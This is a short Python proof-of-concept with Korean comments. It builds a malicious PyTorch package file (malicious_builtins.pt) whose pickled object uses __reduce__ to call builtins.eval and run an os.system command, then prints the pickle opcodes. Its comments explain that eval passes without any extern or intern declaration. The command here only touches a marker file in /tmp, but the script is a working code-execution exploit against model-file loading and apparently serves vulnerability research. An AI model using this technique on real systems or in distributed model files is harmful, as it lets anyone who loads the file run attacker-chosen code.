import io, torch.package, os

MARKER = "/tmp/torch_package_builtins_bypass_pwned"
if os.path.exists(MARKER):
    os.remove(MARKER)

# 공격자는 pickle에 builtins.eval을 직접 참조 -- extern() 선언도, intern() 선언도 필요없음
import pickletools, pickle

class Exploit:
    def __reduce__(self):
        # builtins.eval("...") 호출
        return (eval, (f"__import__('os').system('touch {MARKER}')",))

buf = io.BytesIO()
with torch.package.PackageExporter(buf) as pe:
    # 공격자는 extern이든 intern이든 아무것도 선언하지 않음 -- eval은 builtins 소속이라 자동 허용됨
    pe.save_pickle("archive", "data.pkl", Exploit())

data = buf.getvalue()
with open("malicious_builtins.pt", "wb") as f:
    f.write(data)
print(f"[+] malicious_builtins.pt written, {len(data)} bytes")

print()
print("=== pickle opcode 확인 (extern/intern 없이 GLOBAL 'builtins eval' 직접 참조되는지) ===")
with open("malicious_builtins.pt", "rb") as f:
    import zipfile
    with zipfile.ZipFile(f) as z:
        names = z.namelist()
        print("아카이브 내용:", names)
        pkl_data = z.read([n for n in names if n.endswith("data.pkl")][0])
        pickletools.dis(pkl_data)